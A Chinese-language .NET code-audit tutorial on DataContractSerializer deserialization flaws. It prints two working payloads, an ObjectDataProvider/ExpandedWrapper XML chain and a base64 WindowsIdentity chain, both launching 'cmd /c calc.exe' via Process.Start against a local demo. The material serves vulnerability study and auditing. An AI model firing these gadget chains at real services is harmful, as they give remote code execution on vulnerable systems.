.NET高階程式碼審計(第五課) DataContractSerializer反序列化漏洞
0X00 前言
DataContractSerializer類用於序列化和反序列化 Windows Communication Foundation (WCF) 訊息中傳送的資料,用於把CLR資料型別序列化成XML流,它位於名稱空間System.Runtime.Serialization,繼承於System.Runtime.Serialization.XmlObjectSerializer,在某些場景下開發者使用DataContractSerializer.ReadObject讀取了惡意的XML資料就會造成反序列化漏洞,從而實現遠端RCE攻擊,本文筆者從原理和程式碼審計的視角做了相關介紹和復現。
0X01 DataContractSerializer序列化
類名使用DataContractAttribute 標記,類成員使用DataMemberAttribute 標記,可指定要序列化的屬性和欄位,下面先來看這個系列課程中經典的一段程式碼
TestClass物件定義了三個成員,並實現了一個靜態方法ClassMethod啟動程序。 序列化通過建立物件例項分別給成員賦值
使用DataContractSerializer.WriteObject非常方便的實現.NET物件與XML資料之間的轉化,筆者定義TestClass物件,常規下使用WriteObject得到序列化後的XML資料
<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>
0x02 DataContractSerializer反序列化
2.1、反序列化原理和用法
反序列過程是將XML流或者資料轉換為物件,在DataContractSerializer類中建立物件然後呼叫ReadObject方法實現的
首先看DataContractSerializer類的定義,建立例項的時候會帶入型別解析器
然後在初始化方法 Initialize裡將Type型別解析器賦值給成員rootType
反序列化過程中使用ReadObject方法呼叫了ReadObjectHandleExceptions方法,省略一些非核心程式碼,進入InternalReadObject方法體內
ReadDataContractValue方法體內返回用ReadXmlValue處理後的資料,
從下圖可以看出這是一個C#裡的虛方法,在用System.Runtime.Serialization.DiagnosticUtility類處理資料的時候通過DataContract.GetClrTypeFullName得到CLR資料型別的全限定名。
下圖Demo展示了序列化和反序列化前後的效果
反序列化後得到物件的屬性,列印輸出成員Name的值。
2.2、攻擊向量—ObjectDataProvider
漏洞的觸發點是在於初始化DataContractSerializer類例項時,引數型別解析器type是否可控,也就是說攻擊者需要控制重構物件的型別,若可控的情況下並且反序列化了惡意的Xml資料就可以觸發反序列化漏洞。筆者繼續選擇ObjectDataProvider類方便呼叫任意被引用類中的方法,具體有關此類的用法可以看一下《 .NET高階程式碼審計(第一課) XmlSerializer反序列化漏洞 》,因為Process.Start之前需要配置ProcessStartInfo類相關的屬性,例如指定檔名、指定啟動引數,所以首先考慮序列化ProcessStartInfo再來序列化Process類呼叫StartInfo啟動程式,然後需要對其做減法,去掉無關的System.RuntimeType、System.IntPtr視窗控制代碼資料,下面是國外研究者提供的反序列化Payload
<?xml version=""1.0""?> <root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""> <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/""> <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics""> <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> </ExpandedElement> <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data""> <a:MethodName>Start</a:MethodName> <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""> <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType> <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType> </a:MethodParameters> <a:ObjectInstance z:Ref=""ref1""/> </ProjectedProperty0> </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL> </root>
設計的Demo裡使用ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)))反序列化成功彈出計算器。
2.3、攻擊向量—WindowsIdentity
第二種攻擊方法使用WindowsIdentity類,這個類繼承了ClaimsIdentity,並且實現了ISerializable介面,實現這個介面好處是可以控制你想反序列化的資料型別,此外還可以避免用到反射機制從而提高了執行速度。具體有關此類的用法可以看一下《 .NET高階程式碼審計(第二課) Json.Net反序列化漏洞 》,下面是國外研究者提供的反序列化Poc
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal"> <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext> </WindowsIdentity> </root>
將Demo中的變數替換掉後,在丟擲異常之前成功觸發計算器,效果如下圖
0x03 程式碼審計視角
3.1、ReadObject
從程式碼審計的角度很容易找到漏洞的EntryPoint,通過前面幾個小節的知識能發現需要滿足一個型別解析器type可控,再傳入XML,就可以被反序列化,例如下面的DataContractSerializer類
0x04 案例覆盤
- 使用ObjectDataProvider攻擊向量,輸入 http://localhost:5651/Default Post載入value值
- 通過ReadObject 反序列化 ,並彈出計算器,網頁返回200。
- 使用WindowsIdentity攻擊向量,輸入 http://localhost:5651/Default Post載入value值,彈出計算器的同時,服務也會掛掉。
最後附上動態效果圖
0x05 總結
DataContractSerializer在實際開發中使用頻率較高,但因type需可控才能實施攻擊,所以攻擊成本相對來說較高。最後.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/ 、 https://ivan1ee.gitbook.io/ ,後續筆者將陸續推出高質量的.NET反序列化漏洞文章,歡迎大夥持續關注,交流,更多的.NET安全和技巧可關注實驗室公眾號。